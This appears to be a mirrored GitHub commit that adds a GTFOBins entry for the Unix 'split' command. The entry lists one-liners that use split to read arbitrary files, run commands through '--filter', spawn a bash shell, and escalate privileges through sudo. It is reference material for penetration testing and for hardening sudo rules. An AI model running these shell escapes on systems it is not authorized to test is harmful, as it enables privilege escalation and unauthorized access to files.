mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
New command: split
This commit is contained in:
parent
c88e461484
commit
cb7cb672f2
27
_gtfobins/split.md
Normal file
27
_gtfobins/split.md
Normal file
@ -0,0 +1,27 @@
|
||||
---
|
||||
functions:
|
||||
file-read:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
TF=$(mktemp)
|
||||
split $LFILE $TF
|
||||
cat $TF*
|
||||
command:
|
||||
- description: Command execution using an existing or new created file.
|
||||
- code: |
|
||||
COMMAND=id
|
||||
TF=$(mktemp)
|
||||
split --filter=$COMMAND $TF
|
||||
- description: Command execution using stdin (and close it directly).
|
||||
code: |
|
||||
COMMAND=id
|
||||
echo | split --filter=$COMMAND /dev/stdin
|
||||
shell:
|
||||
- code: |
|
||||
split --filter=bash /dev/stdin
|
||||
sudo:
|
||||
- code: |
|
||||
split --filter=bash /dev/stdin
|
||||
---
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user